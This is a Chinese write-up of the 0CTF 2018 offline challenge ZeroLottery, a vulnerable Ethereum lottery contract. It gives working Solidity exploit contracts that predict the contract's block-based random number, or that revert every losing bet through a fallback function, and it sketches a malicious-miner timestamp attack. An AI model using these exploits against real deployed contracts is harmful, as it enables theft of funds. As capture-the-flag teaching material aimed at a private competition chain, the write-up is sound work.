0CTF 线下 Misc ZeroLottery Writeup

  1. 题目详情
  • Attention
    1. 题目分析
      1. 基本知识
    2. 解法一
    3. 解法二
    4. 解法三
    5. 参考资料
  • 题目详情

    Hello guys, welcome to the wonderful ethereum casino. We proudly present our first lottery game, ZeroLottery. Give me your lucky number, chances to get huge amount of money back! Every one can read the code, fair and honest. There is only one small step between you and billionaire. Come to win now!

    Attention

    Every team has a independent private chain. The password for account 0xAC9E27B1fABd55D3E85104d9FEB945C57d99f43A is tctf2018 with 10 ETH. The address of ZeroLottery is 0xb3883b88A48923187A22Ee27d4cb840a4Be68fD3. We expose a json rpc port(http://192.168.201.18:80) of the private chain.

    Your goal is make your ZeroLottery’s balance > 500. After that, you can get the flag at http://192.168.201.18:5000/flag?wallet=<YOUR ADDRESS> page.

    Read the source code first before have a try! Do not attack the platform!

    大概意思是有个智能合约,你有个有10 ether 的账户,想办法获取>500的balance。

    智能合约代码

    pragma solidity ^0.4.21;
    contract ZeroLottery {
        struct SeedComponents {
            uint component1;
            uint component2;
            uint component3;
            uint component4;
        }
    
        uint private base = 8;
    
        address private owner;
        mapping (address => uint256) public balanceOf;
    
        function ZeroLottery() public {
            owner = msg.sender;
        }
    
        function init() public payable {
            balanceOf[msg.sender] = 100;
        }
    
        function seed(SeedComponents components) internal pure returns (uint) {
            uint secretSeed = uint256(keccak256(
                components.component1,
                components.component2,
                components.component3,
                components.component4
            ));
            return secretSeed;
        }
    
        function bet(uint guess) public payable {
            require(msg.value>1 ether);
            require(balanceOf[msg.sender] > 0);
            uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
            uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
    
            if (guess != n) {
                balanceOf[msg.sender] = 0;
                // charge 0.5 ether for failure
                msg.sender.transfer(msg.value - 0.5 ether);
                return;
            }
            // charge 1 ether for success
            msg.sender.transfer(msg.value - 1 ether);
            balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
        }
    
        function paolu() public payable {
            require(msg.sender == owner);
            selfdestruct(owner);
        }
    
    }

    嗯,还给了个文件,方便大家本地配置环境的。

    genesis.json

    {
      "config": {
            "chainId": 1337,
            "homesteadBlock": 0,
            "eip155Block": 0,
            "eip158Block": 0
        },
      "alloc"      : {
        "0x0000000000000000000000000000000000000001": {"balance": "0"}
      },
      "coinbase"   : "0x0000000000000000000000000000000000000000",
      "difficulty" : "0x0",
      "extraData"  : "",
      "gasLimit"   : "0x2fefd8",
      "nonce"      : "0x00000000deadbeef",
      "mixhash"    : "0x0000000000000000000000000000000000000000000000000000000000000000",
      "parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000",
      "timestamp"  : "0x00"
    }

    题目分析

    首先,我们要先了解以太坊智能合约和solidity。

    好的,我们已经花了10分钟充分理解了智能合约和solidity(/吐槽 你又充分理解了。。。)

    基本知识

    智能合约是是一种旨在以信息化方式传播、验证或执行合同的计算机协议。智能合约允许在没有第三方的情况下进行可信交易。这些交易可追踪且不可逆转。

    通俗的说,智能合约是一段公开的代码,当它部署到区块链上后,它会有对应的一个地址,通过对这个地址发起交易可以调用里面的函数。

    • 私有信息和随机性

    私有信息在智能合约中是不存在的,因为所有东西都是公开可见的。

    随机性是很难达到的,因为信息都是公开的,即便是以区块的时间戳等信息作为随机源也不能阻止恶意节点利用这个作弊。

    • 重入

    任何从合约 A 到合约 B 的交互以及任何从合约 A 到合约 B 的 以太币(Ether) 的转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。

    参考The DAO

    • 智能合约可以调用其他智能合约

    解法一

    看该智能合约代码可以知道随机源包括

    • 挖到区块的矿工地址
    • 区块难度
    • 区块gas limit
    • 挖到区块时的时间戳

    So,我们可以创建一个智能合约,用这些信息算出答案,然后,用这个答案去调用题目给的智能合约,即可。

    注意要保证该智能合约地址有ether,从上图可以看到,要先调用init函数使balance大于0,然后调用bet函数时即可转大于1 ether即可。

    pragma solidity ^0.4.24;
    contract EXP{
        struct SeedComponents {
            uint component1;
            uint component2;
            uint component3;
            uint component4;
        }
    
        uint private base = 8;
    
        constructor ()public payable {}
    
        function () public payable {}
    
        function callInit(address addr) public {
            require(addr.call(bytes4(keccak256("init()"))));
        }
    
        function seed(SeedComponents components) internal pure returns (uint) {
            uint secretSeed = uint256(keccak256(
                components.component1,
                components.component2,
                components.component3,
                components.component4
            ));
            return secretSeed;
        }
    
        function callBet(address addr) payable public {
            uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
            uint n = uint(keccak256(uint(address(this)), secretSeed)) % base;
            require(addr.call.value(1.1 ether)(bytes4(keccak256("bet(uint256)")), n));
        }
    
    }

    (这里我曾失了智的忘写ether单位,后来求助@md5_salt大佬)

    感觉操作挺简单的,

    部署我们的EXP合约,

    给他转9 ether

    调用callInit

    调用callBet,赢一次,继续调用,知道balance超过500。

    解法二

    有个已知的小知识点,向智能合约转ether的时候,会调用它的fallback函数。

    然后,题目里面的合约是赢了就扣1 ether,然后将剩下的ether返回给发送者,输了则扣0.5 ether,然后将剩下的ether 返回给发送者,所以,我们可以在fallback函数中通过判断返回的ether的数量来判断是否赢了,如果输了就耍赖,抛出异常什么的,让整个交易回滚。(耍赖大法好)

    solution如下

    pragma solidity ^0.4.24;
    contract EXP2{
    
        uint sendBackValue;
        constructor ()public payable {}
    
        function () public payable {
            require(msg.value == 1 ether);
        }
    
        function callInit(address addr) public {
            require(addr.call(bytes4(keccak256("init()"))));
        }
    
        function callBet(address addr) payable public {
            assert(addr.call.gas(60000).value(2 ether)(bytes4(keccak256("bet(uint256)")), 1));
        }
    
    }

    可以看到,每次转2 ether去赌博,返回不是·1 ether,即输了,就耍赖。

    所以,操作是,

    部署合约,部署合约的时候顺带转9 ether

    然后,调用callInit函数

    然后,疯狂调用callBet函数,你就可以赢钱就说OK,输钱就耍赖。

    解法三

    解法三是我比赛的时候首先想到的,然后还找到了n多证据证明自己是对的,就一直在死磕,没有去找别的办法。

    最终在编译挖矿客户端的c++的时候一直编译不成功,心态崩了。心累。

    上面有提到,随机源

    • 挖到区块的矿工地址
    • 区块难度
    • 区块gas limit
    • 挖到区块时的时间戳

    其中前三个都可以通过暴露的json-RPC接口来预测到。

    from ethjsonrpc import EthJsonRpc
    c = EthJsonRpc('127.0.0.1', 8200)
    coinbase =  int(c.eth_coinbase(),16)
    difficulty = int(2**256 / int(c.eth_getWork()[2],16))
    block_num = c.eth_blockNumber()
    last_block = c.eth_getBlockByNumber(block_num)
    gaslimit = int(last_block['gasLimit'],16)

    然后,后面只剩下下一次挖到矿的时间戳了。

    上面也有提到,时间戳是可以被恶意矿工利用的。

    所以,我们如果能够作为一个恶意的矿工,我们就能够疯狂挖矿,挖到区块后,先用来算答案,提交交易,然后再同步挖到的区块。

    嗯,思路非常清晰。

    然后,我们需要找到一个通过Json-RPC接口挖矿的办法。

    然后,找到了。

    6,然后,用ethminer连接上去,发现挖矿速度激增。

    这,万事具备,什么都不缺。额,还缺修改、编译ethminer的代码,然后,就跪在这里了。

    参考资料

    http://solidity-cn.readthedocs.io/zh/develop/security-considerations.html

    https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getwork

    https://github.com/ethereum-mining/ethminer


    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com